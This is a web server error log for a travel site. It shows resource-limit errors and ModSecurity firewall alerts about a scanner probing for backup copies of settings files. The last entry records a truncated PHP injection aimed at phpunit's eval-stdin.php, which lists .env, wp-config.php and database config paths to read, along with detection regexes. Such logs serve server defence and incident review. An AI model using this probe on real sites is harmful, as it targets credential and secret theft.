[Fri Jul 17 08:55:19.234713 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.234976 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py.swp"] [unique_id "almgnw7FYe46zHK_jL3P2wAAABk"]
[Fri Jul 17 08:55:19.235123 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.235300 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw7FYe46zHK_jL3P2wAAABk"]
[Fri Jul 17 08:55:19.238641 2026] [authz_core:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/readme.html
[Fri Jul 17 08:55:19.238794 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.238940 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn0gVnBK6wAv37w6sQwAAABQ"]
[Fri Jul 17 08:55:19.238963 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn0gVnBK6wAv37w6sQwAAABQ"]
[Fri Jul 17 08:55:19.243136 2026] [authz_core:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/license.txt
[Fri Jul 17 08:55:19.243319 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.244062 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.250118 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.259632 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-links-opml.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.259934 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.277253 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.277953 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.280651 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.282390 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.285171 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.288402 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.289486 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.293522 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.298940 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py.backup"] [unique_id "almgn4l9vhFBGA6D8l96CQAAAAw"]
[Fri Jul 17 08:55:19.299462 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py.backup"] [unique_id "almgn4l9vhFBGA6D8l96CQAAAAw"]
[Fri Jul 17 08:55:19.299590 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.299740 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96CQAAAAw"]
[Fri Jul 17 08:55:19.301583 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.302658 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.301758 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".py~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local_settings.py~"] [unique_id "almgn_wooI4qY7Jg93pVXQAAABM"]
[Fri Jul 17 08:55:19.301776 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.303550 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local_settings.py~"] [unique_id "almgn_wooI4qY7Jg93pVXQAAABM"]
[Fri Jul 17 08:55:19.303677 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.303861 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVXQAAABM"]
[Fri Jul 17 08:55:19.304451 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local_settings.py.bak"] [unique_id "almgnw5GPQ6hs4VrfMpBfgAAAAY"]
[Fri Jul 17 08:55:19.304947 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local_settings.py.bak"] [unique_id "almgnw5GPQ6hs4VrfMpBfgAAAAY"]
[Fri Jul 17 08:55:19.305068 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.305210 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw5GPQ6hs4VrfMpBfgAAAAY"]
[Fri Jul 17 08:55:19.309707 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.312028 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.316020 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.320848 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local_settings.py.old"] [unique_id "almgny0HS8lGbZyK8qt3HQAAACM"]
[Fri Jul 17 08:55:19.321181 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.321341 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local_settings.py.old"] [unique_id "almgny0HS8lGbZyK8qt3HQAAACM"]
[Fri Jul 17 08:55:19.321436 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.321576 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgny0HS8lGbZyK8qt3HQAAACM"]
[Fri Jul 17 08:55:19.323200 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.323377 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTFQAAAAM"]
[Fri Jul 17 08:55:19.323406 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTFQAAAAM"]
[Fri Jul 17 08:55:19.331452 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.337307 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
